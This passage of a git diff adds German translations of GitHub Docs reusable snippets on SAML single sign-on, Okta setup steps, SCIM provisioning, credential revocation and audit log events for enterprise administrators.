+Wenn Du Okta als IdP verwendest und an einer privaten Betaversion für Unternehmenskonten teilnehmen, kannst Du die Mitgliedschaft in den Organisationen Deines Unternehmenskontos mit SCIM verwalten. SCIM lädt automatisch Personen zu Organisationen in Ihrem Unternehmenskonto ein bzw. entfernt Personen aus diesen, je nachdem, ob sie Mitglieder der Gruppe sind, die der jeweiligen Organisation in Ihrem IdP entspricht.
diff --git a/translations/de-DE/data/reusables/saml/ae-enable-saml-sso-during-bootstrapping.md b/translations/de-DE/data/reusables/saml/ae-enable-saml-sso-during-bootstrapping.md
new file mode 100644
index 0000000000..f43b72f63d
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/ae-enable-saml-sso-during-bootstrapping.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5d08c695a80fbb85a737f400809b859039f72893
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105472"
+---
+Du konfigurierst die Identitäts- und Zugriffsverwaltung für {% data variables.product.product_name %}, indem du während der Initialisierung die Details für SAML-IdP eingibst. Weitere Informationen findest du unter [Initialisieren von {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae#connecting-your-idp-to-your-enterprise).
diff --git a/translations/de-DE/data/reusables/saml/ae-uses-saml-sso.md b/translations/de-DE/data/reusables/saml/ae-uses-saml-sso.md
new file mode 100644
index 0000000000..8f04d8128c
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/ae-uses-saml-sso.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8396c212c048ddf20c4b00d4891a21052555325e
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108502"
+---
+{% data variables.product.product_name %} verwendet SAML-SSO zur Benutzerauthentifizierung. Du kannst den Zugriff auf {% data variables.product.prodname_ghe_managed %} zentral über einen IdP verwalten, der den SAML 2.0-Standard unterstützt.
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/saml/assert-the-administrator-attribute.md b/translations/de-DE/data/reusables/saml/assert-the-administrator-attribute.md
new file mode 100644
index 0000000000..3f429710fb
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/assert-the-administrator-attribute.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: bb28859183eee48b1c16f8e309ec2d3f839d2e4e
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145132946"
+---
+Um eine Person als Unternehmensbesitzer festzulegen, musst du die Besitzberechtigung in deinem IdP delegieren. Füge das `administrator`-Attribut mit dem Wert `true` in die SAML-Assertion für das Benutzerkonto auf dem IdP ein. Weitere Informationen zu Unternehmensbesitzern findest du unter [Rollen in einem Unternehmen](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise).
diff --git a/translations/de-DE/data/reusables/saml/assign-yourself-to-okta.md b/translations/de-DE/data/reusables/saml/assign-yourself-to-okta.md
new file mode 100644
index 0000000000..4f18e39da5
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/assign-yourself-to-okta.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: acc793d5b9eb2ae5282f9ede18d1fe8d65838bc7
+ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879204"
+---
+1. Weise die Anwendung deinem Benutzer in Okta zu. Weitere Informationen findest du unter [Zuweisen von Anwendungen zu Benutzern](https://help.okta.com/en/prod/Content/Topics/users-groups-profiles/usgp-assign-apps.htm) in der Okta-Dokumentation.
diff --git a/translations/de-DE/data/reusables/saml/authentication-loop.md b/translations/de-DE/data/reusables/saml/authentication-loop.md
new file mode 100644
index 0000000000..91d3b8ea6f
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/authentication-loop.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 7e0f711826a1f1ea1bee8cec18bf5b4614815174
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108503"
+---
+## Benutzer werden wiederholt zur Authentifizierung umgeleitet
+
+Wenn Benutzer wiederholt in einer Schleife zur SAML-Authentifizierungsaufforderung umgeleitet werden, musst du möglicherweise die SAML-Sitzungsdauer in deinen IdP-Einstellungen erhöhen. 
+
+Der in einer SAML-Antwort gesendete `SessionNotOnOrAfter`-Wert bestimmt, wann ein Benutzer zur Authentifizierung zurück zum IdP umgeleitet wird. Wenn eine SAML-Sitzungsdauer für höchstens 2 Stunden konfiguriert ist, aktualisiert {% data variables.product.prodname_dotcom_the_website %} eine SAML-Sitzung 5 Minuten vor Ablauf. Wenn deine Sitzungsdauer für höchstens 5 Minuten konfiguriert ist, können Benutzer in einer SAML-Authentifizierungsschleife hängen bleiben. 
+
+Um dieses Problem zu beheben, sollte eine minimale SAML-Sitzungsdauer von 4 Stunden konfiguriert werden. Weitere Informationen findest du in der [SAML-Konfigurationsreferenz](/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference#session-duration-and-timeout).
diff --git a/translations/de-DE/data/reusables/saml/authorized-creds-info.md b/translations/de-DE/data/reusables/saml/authorized-creds-info.md
new file mode 100644
index 0000000000..5f5411ce06
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/authorized-creds-info.md
@@ -0,0 +1,7 @@
+Before you can authorize a {% data variables.product.pat_generic %} or SSH key, you must have a linked SAML identity. If you're a member of an organization where SAML SSO is enabled, you can create a linked identity by authenticating to your organization with your IdP at least once. For more information, see "[About authentication with SAML single sign-on](/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on)."
+
+After you authorize a {% data variables.product.pat_generic %} or SSH key, the token or key will stay authorized until revoked in one of the following ways.
+- An organization or enterprise owner revokes the authorization.
+- You are removed from the organization.
+- The scopes in a {% data variables.product.pat_generic %} are edited, or the token is regenerated.
+- The {% data variables.product.pat_generic %} expired as defined during creation.
diff --git a/translations/de-DE/data/reusables/saml/click-enterprise-account-application.md b/translations/de-DE/data/reusables/saml/click-enterprise-account-application.md
new file mode 100644
index 0000000000..c05cb031e6
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/click-enterprise-account-application.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c6b6746c1785b0b20e2a7af23a4602a85f351227
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105467"
+---
+1. Klicke auf die Bezeichnung der Anwendung, die du für dein Unternehmenskonto erstellt hast.
diff --git a/translations/de-DE/data/reusables/saml/click-person-revoke-credentials.md b/translations/de-DE/data/reusables/saml/click-person-revoke-credentials.md
new file mode 100644
index 0000000000..15ef8264f5
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/click-person-revoke-credentials.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a8d163caaef78b1fc5af73ec56675351830cb4da
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145132942"
+---
+1. Klicke auf den Namen des Mitglieds, dessen autorisierte Anmeldeinformationen Du anzeigen oder widerrufen möchtest.
diff --git a/translations/de-DE/data/reusables/saml/click-person-revoke-identity.md b/translations/de-DE/data/reusables/saml/click-person-revoke-identity.md
new file mode 100644
index 0000000000..0ac12e7237
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/click-person-revoke-identity.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6daaa1d3e89024ad28ba422f2fdc6ad3fd2bd844
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145132941"
+---
+1. Klicke auf den Namen des Mitglieds, dessen verknüpfte Identität Du anzeigen oder widerrufen möchtest.
diff --git a/translations/de-DE/data/reusables/saml/click-person-revoke-session.md b/translations/de-DE/data/reusables/saml/click-person-revoke-session.md
new file mode 100644
index 0000000000..16362ef85f
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/click-person-revoke-session.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: cd84b18387cef7aee59be23c37f2a68dee640375
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145105464"
+---
+1. Klicke auf den Namen des Mitglieds, dessen SAML-Sitzung Du anzeigen oder widerrufen möchtest.
diff --git a/translations/de-DE/data/reusables/saml/confirm-revoke-credentials.md b/translations/de-DE/data/reusables/saml/confirm-revoke-credentials.md
new file mode 100644
index 0000000000..343160ba0d
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/confirm-revoke-credentials.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 12836cb71e0366db53e2020440025d30f6b6f3bb
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145106312"
+---
+1. Lies die Informationen, und klicke dann auf **Ich verstehe und widerrufe den Zugriff für dieses Token**.
diff --git a/translations/de-DE/data/reusables/saml/confirm-revoke-identity.md b/translations/de-DE/data/reusables/saml/confirm-revoke-identity.md
new file mode 100644
index 0000000000..92bee2a34c
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/confirm-revoke-identity.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d297d8253195d95ad980d36cd961bc8d686b1c81
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145125706"
+---
+1. Lies die Informationen, und klicke dann auf **Externe Identität widerrufen**.
diff --git a/translations/de-DE/data/reusables/saml/contact-support-if-your-idp-is-unavailable.md b/translations/de-DE/data/reusables/saml/contact-support-if-your-idp-is-unavailable.md
new file mode 100644
index 0000000000..6049995809
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/contact-support-if-your-idp-is-unavailable.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: be359d20b2dbb29259646f2a571d57fe9c605091
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881074"
+---
+Wenn du dich nicht bei deinem Unternehmen anmelden kannst, weil {% data variables.product.product_name %} nicht mit deinem SAML-IdP kommunizieren kann, wende dich an den {% data variables.contact.github_support %}. Dieser kann dich beim Zugriff auf {% data variables.product.product_name %} unterstützen, damit du die SAML-SSO-Konfiguration aktualisieren kannst. Weitere Informationen findest du unter [Anfordern von Unterstützung beim {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support).
diff --git a/translations/de-DE/data/reusables/saml/create-a-machine-user.md b/translations/de-DE/data/reusables/saml/create-a-machine-user.md
new file mode 100644
index 0000000000..2998814705
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/create-a-machine-user.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3053fece4b962c0238393aa910dd6136a98ae888
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108507"
+---
+Du musst ein dediziertes Computerbenutzerkonto auf deinem IdP erstellen und verwenden, das {% ifversion ghae %}dem ersten{% elsif scim-for-ghes %}einem{% endif %} Unternehmensbesitzerkonto auf {% data variables.product.product_name %} zugeordnet werden soll. Speichere die Anmeldeinformationen für das Benutzerkonto sicher in einem Kennwort-Manager. Weitere Informationen findest du unter [Konfigurieren der Benutzerbereitstellung mit SCIM für dein Unternehmen](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise#enabling-user-provisioning-for-your-enterprise).
diff --git a/translations/de-DE/data/reusables/saml/current-time-earlier-than-notbefore-condition.md b/translations/de-DE/data/reusables/saml/current-time-earlier-than-notbefore-condition.md
new file mode 100644
index 0000000000..593b64e766
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/current-time-earlier-than-notbefore-condition.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: a9ba68f182b48a4186a4ae63909ef4e146d7c392
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108506"
+---
+## Fehler: „Current time is earlier than NotBefore condition“ (Aktuelle Zeit liegt vor notBefore-Bedingung)
+
+Dieser Fehler kann auftreten, wenn der Zeitunterschiede zwischen deinem IdP und {% data variables.product.product_name %} zu groß ist, was bei selbstgehosteten IdPs häufig vorkommt.
+
+{% ifversion ghes %} Um dieses Problem zu verhindern, wird empfohlen, die Appliance möglichst auf dieselbe NTP-Quelle (Network Time Protocol) wie den IdP zu verweisen. {% endif %} Wenn dieser Fehler auftritt, achte darauf, dass die Zeit auf {% ifversion ghes %}deiner Appliance{% else %}deinem IdP{% endif %} ordnungsgemäß mit deinem NTP-Server synchronisiert wird.
+
+Wenn du ADFS als IdP verwendest, lege außerdem `NotBeforeSkew` in ADFS für {% data variables.product.prodname_dotcom %} auf 1 Minute fest. Wenn `NotBeforeSkew` auf 0 festgelegt ist, können selbst sehr kleine Zeitunterschiede, einschließlich Millisekunden, Authentifizierungsprobleme verursachen.
diff --git a/translations/de-DE/data/reusables/saml/dotcom-saml-explanation.md b/translations/de-DE/data/reusables/saml/dotcom-saml-explanation.md
new file mode 100644
index 0000000000..cda56d2b4f
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/dotcom-saml-explanation.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ba6cc040a79a95346efdc0c7f4269b26922c8947
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147526806"
+---
+Einmaliges Anmelden (SSO) von SAML bietet Organisations- und Unternehmensinhabern unter Verwendung von {% data variables.product.product_name %} die Möglichkeit, den Zugriff auf Organisationsressourcen wie Repositorys, Issues oder Pull Requests zu kontrollieren und zu sichern.
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/saml/external-group-audit-events.md b/translations/de-DE/data/reusables/saml/external-group-audit-events.md
new file mode 100644
index 0000000000..8b7b3d3b58
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/external-group-audit-events.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 3b0b01478e2297c1fd4a61f79bdba02f2c7e4c83
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145105463"
+---
+| Aktion | BESCHREIBUNG
+|------------------|-------------------
+| `external_group.delete` | Wird ausgelöst, wenn deine Okta-Gruppe gelöscht wird. Weitere Informationen findest du unter [Zuordnen von Okta-Gruppen zu Teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams).
+| `external_group.link` | Wird ausgelöst, wenn deine Okta-Gruppe deinem {% data variables.product.prodname_ghe_managed %}-Team zugewiesen wird. Weitere Informationen findest du unter [Zuordnen von Okta-Gruppen zu Teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams).
+| `external_group.provision` | Wird ausgelöst, wenn eine Okta-Gruppe deinem Team in {% data variables.product.prodname_ghe_managed %} zugewiesen wird. Weitere Informationen findest du unter [Zuordnen von Okta-Gruppen zu Teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams).
+| `external_group.unlink` | Wird ausgelöst, wenn die Zuweisung deiner Okta-Gruppe zu deinem {% data variables.product.prodname_ghe_managed %}-Team aufgehoben wird. Weitere Informationen findest du unter [Zuordnen von Okta-Gruppen zu Teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams).
+| `external_group.update` | Wird ausgelöst, wenn die Einstellungen deiner Okta Gruppe aktualisiert werden. Weitere Informationen findest du unter [Zuordnen von Okta-Gruppen zu Teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams).
diff --git a/translations/de-DE/data/reusables/saml/external-identity-audit-events.md b/translations/de-DE/data/reusables/saml/external-identity-audit-events.md
new file mode 100644
index 0000000000..1a2120adb1
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/external-identity-audit-events.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 40ae6bf1d1c0f6726bcf171e8a642ac4da6c9ba1
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145132913"
+---
+| Aktion | BESCHREIBUNG
+|------------------|-------------------
+| `external_identity.deprovision` | Wird ausgelöst, wenn ein Benutzer aus einer Okta-Gruppe entfernt wurde und die Bereitstellung in {% data variables.product.prodname_ghe_managed %} anschließend aufgehoben wurde. Weitere Informationen findest du unter „[Zuordnen von Okta-Gruppen zu Teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)“.
+| `external_identity.provision` | Wird ausgelöst, wenn ein Okta-Benutzer einer Okta-Gruppe hinzugefügt wurde und anschließend dem zugeordneten Team auf {% data variables.product.prodname_ghe_managed %} bereitgestellt wurde. Weitere Informationen findest du unter „[Zuordnen von Okta-Gruppen zu Teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)“.
+| `external_identity.update` | Wird ausgelöst, wenn die Einstellungen eines Okta Benutzers aktualisiert werden. Weitere Informationen findest du unter „[Zuordnen von Okta-Gruppen zu Teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)“.
diff --git a/translations/de-DE/data/reusables/saml/ghec-only.md b/translations/de-DE/data/reusables/saml/ghec-only.md
new file mode 100644
index 0000000000..dd9a9a39ad
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/ghec-only.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 6c39cd01065252de845c4d49039ee6340692745b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147065010"
+---
+{% ifversion ghec %} {% note %}
+
+**Hinweis:** Für die Verwendung von SAML Single Sign-On muss deine Organisation {% data variables.product.prodname_ghe_cloud %} verwenden. {% data reusables.enterprise.link-to-ghec-trial %}
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/saml/ghes-you-must-configure-saml-sso.md b/translations/de-DE/data/reusables/saml/ghes-you-must-configure-saml-sso.md
new file mode 100644
index 0000000000..30dce1f90d
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/ghes-you-must-configure-saml-sso.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6889da1f34cb30ccfdafac45179b2e708a177477
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108510"
+---
+Du musst SAML-SSO für {% data variables.location.product_location %} konfigurieren. Weitere Informationen findest du unter [Konfigurieren des einmaligen Anmeldens mit SAML für Unternehmen](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise).
diff --git a/translations/de-DE/data/reusables/saml/must-authorize-linked-identity.md b/translations/de-DE/data/reusables/saml/must-authorize-linked-identity.md
new file mode 100644
index 0000000000..5854c09d77
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/must-authorize-linked-identity.md
@@ -0,0 +1,5 @@
+{% note %}
+
+**Note:** If you have a linked identity for an organization, you can only use authorized {% data variables.product.pat_generic %}s and SSH keys with that organization, even if SAML is not enforced. You have a linked identity for an organization if you've ever authenticated via SAML SSO for that organization, unless an organization or enterprise owner later revoked the linked identity. For more information about revoking linked identities, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)" and "[Viewing and managing a user's SAML access to your enterprise](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)."
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/saml/okta-ae-applications-menu.md b/translations/de-DE/data/reusables/saml/okta-ae-applications-menu.md
new file mode 100644
index 0000000000..67bbbde742
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/okta-ae-applications-menu.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 72af92d804e9246789442d86185e3acf8eaf5ef5
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145130490"
+---
+1. Erweitere im Okta-Dashboard das Menü **Anwendungen**, und klicke dann auf **Anwendungen**.
+
+  ![Navigation im Menü „Anwendungen“](/assets/images/help/saml/okta-ae-add-application.png)
diff --git a/translations/de-DE/data/reusables/saml/okta-ae-configure-app.md b/translations/de-DE/data/reusables/saml/okta-ae-configure-app.md
new file mode 100644
index 0000000000..06d379d5f4
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/okta-ae-configure-app.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 52bc39b7edea195e3dd18f8b7c9dacddb3e6486b
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145130485"
+---
+1. Klicke auf die {% data variables.product.prodname_ghe_managed %}-App.
+
+  ![Konfigurieren der App](/assets/images/help/saml/okta-ae-configure-app.png)
diff --git a/translations/de-DE/data/reusables/saml/okta-ae-provisioning-tab.md b/translations/de-DE/data/reusables/saml/okta-ae-provisioning-tab.md
new file mode 100644
index 0000000000..945343f3dc
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/okta-ae-provisioning-tab.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 1dfa55471caa114fb165ea4caa77ce6e747482e4
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145130482"
+---
+1. Klicke auf **Bereitstellung**.
+
+  ![Konfigurieren der App](/assets/images/help/saml/okta-ae-provisioning-tab.png)
diff --git a/translations/de-DE/data/reusables/saml/okta-ae-sso-beta.md b/translations/de-DE/data/reusables/saml/okta-ae-sso-beta.md
new file mode 100644
index 0000000000..c16895223e
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/okta-ae-sso-beta.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: eef3fbd7285fbea49bf20ed9359b2a7c6c49fff1
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108462"
+---
+{% ifversion ghae %}
+
+{% note %}
+
+**Hinweis**: {% data variables.product.prodname_ghe_managed %}-SSO-Unterstützung für Okta befindet sich derzeit in der Betaversion.
+
+{% endnote %}
+
+{% endif %}
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/saml/okta-applications-click-ghec-application-label.md b/translations/de-DE/data/reusables/saml/okta-applications-click-ghec-application-label.md
new file mode 100644
index 0000000000..9e412b8a95
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/okta-applications-click-ghec-application-label.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3d4db33f61c71f065de6325f1f8a5f8798fd0e59
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145130481"
+---
+1. Klicke in der Liste der Anwendungen auf die Kennzeichnung der Anwendung, die Du für die Organisation erstellt hast, die {% data variables.product.prodname_ghe_cloud %} verwendet.
diff --git a/translations/de-DE/data/reusables/saml/okta-browse-app-catalog copy.md b/translations/de-DE/data/reusables/saml/okta-browse-app-catalog copy.md
new file mode 100644
index 0000000000..8f1a11f4af
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/okta-browse-app-catalog copy.md	
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 845b8336fca4592a1d5ba1dc9aec88c71a7a8bfd
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108459"
+---
+1. Klicke auf **App-Katalog durchsuchen**.
+
+  ![„App-Katalog durchsuchen“](/assets/images/help/saml/okta-ae-browse-app-catalog.png)
diff --git a/translations/de-DE/data/reusables/saml/okta-browse-app-catalog.md b/translations/de-DE/data/reusables/saml/okta-browse-app-catalog.md
new file mode 100644
index 0000000000..02820f9108
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/okta-browse-app-catalog.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 845b8336fca4592a1d5ba1dc9aec88c71a7a8bfd
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108358"
+---
+1. Klicke auf **App-Katalog durchsuchen**.
+
+  ![„App-Katalog durchsuchen“](/assets/images/help/saml/okta-ae-browse-app-catalog.png)
diff --git a/translations/de-DE/data/reusables/saml/okta-click-on-the-app.md b/translations/de-DE/data/reusables/saml/okta-click-on-the-app.md
new file mode 100644
index 0000000000..8e95b195fe
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/okta-click-on-the-app.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d1318e4d718ca0a706b3de4ad5a36093afd8e997
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108355"
+---
+1. Klicke auf die {% data variables.product.product_name %}-App.
diff --git a/translations/de-DE/data/reusables/saml/okta-configure-api-integration.md b/translations/de-DE/data/reusables/saml/okta-configure-api-integration.md
new file mode 100644
index 0000000000..1940352d52
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/okta-configure-api-integration.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 982c1f4dc90a2e593d65bc8f2bb2a6e32ba546c2
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145130474"
+---
+1. Klicke auf **API-Integration konfigurieren**.
diff --git a/translations/de-DE/data/reusables/saml/okta-dashboard-click-applications.md b/translations/de-DE/data/reusables/saml/okta-dashboard-click-applications.md
new file mode 100644
index 0000000000..3ca9179945
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/okta-dashboard-click-applications.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b1f09885055bfc95b5624940f1d345767ebf0a81
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145130469"
+---
+1. Verwende auf der linken Randleiste die Dropdownliste **Anwendungen**, und klicke auf **Anwendungen**.
diff --git a/translations/de-DE/data/reusables/saml/okta-edit-provisioning.md b/translations/de-DE/data/reusables/saml/okta-edit-provisioning.md
new file mode 100644
index 0000000000..0e577b3c40
--- /dev/null
+++ b/translations/de-DE/data/reusables/saml/okta-edit-provisioning.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: 0f66875581a4a1b2de98f49a12ad7069be1f9375
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147093046"
+---
